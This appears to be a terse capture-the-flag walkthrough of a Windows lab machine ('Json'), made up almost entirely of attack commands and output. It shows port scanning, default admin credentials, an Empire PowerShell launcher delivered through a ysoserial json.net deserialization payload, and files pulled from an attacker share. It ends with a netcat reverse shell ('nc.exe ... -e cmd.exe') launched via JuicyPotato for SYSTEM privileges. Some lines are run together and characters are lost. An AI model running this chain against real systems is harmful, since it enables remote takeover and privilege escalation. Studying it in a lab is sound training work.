nmap -sC -sV -p- -T4 10.10.10.158Host is up (0.052s latency).Not shown: 65521 closed portsPORT      STATE SERVICE      VERSION21/tcp    open  ftp          FileZilla ftpd| ftp-syst:|_  SYST: UNIX emulated by FileZilla80/tcp    open  http         Microsoft IIS httpd 8.5| http-methods:|_  Potentially risky methods: TRACE|_http-server-header: Microsoft-IIS/8.5|_http-title: Json HTB135/tcp   open  msrpc        Microsoft Windows RPC139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found49154/tcp open  msrpc        Microsoft Windows RPC49156/tcp open  msrpc        Microsoft Windows RPCService Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

admin:admin

{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3",hello world}

empire下操作:./empireuselistener httpset Host http://10.10.xx.xx:4444set Port 4444executebacklauncher powershell>>获得$$Empire payload$$
windows下操作:ysoserial.exe -g ObjectDataProvider -f json.net -c "$$Empire Payload$$" -o base64

(empire:XXXXXXX)shell systeminfo | findstr WindowsOS Name:                   Microsoft Windows Server 2012 R2 Datacenter

(empire:XXXXXXX)shell whoami /privPRIVILEGES INFORMATION----------------------
Privilege Name                Description                               State============================= ========================================= ========SeAssignPrimaryTokenPrivilege Replace a process level token             DisabledSeIncreaseQuotaPrivilege      Adjust memory quotas for a process        DisabledSeAuditPrivilege              Generate security audits                  DisabledSeChangeNotifyPrivilege       Bypass traverse checking                  EnabledSeImpersonatePrivilege        Impersonate a client after authentication EnabledSeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

nc -lvp 4444
(empire:XXXXXXX)cd windowstemp(empire:XXXXXXX)shell copy \10.10.xx.xxn00BJuicyPotato.exe .(empire:XXXXXXX)shell copy \10.10.xx.xxn00Bnc.exe .(empire:XXXXXXX)shell echo c:windowstempnc.exe 10.10.xx.xx 4444 -e cmd.exe > start.bat(empire:XXXXXXX)shell JuicyPotato.exe -l 1337 -p C:\windowstempstart.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}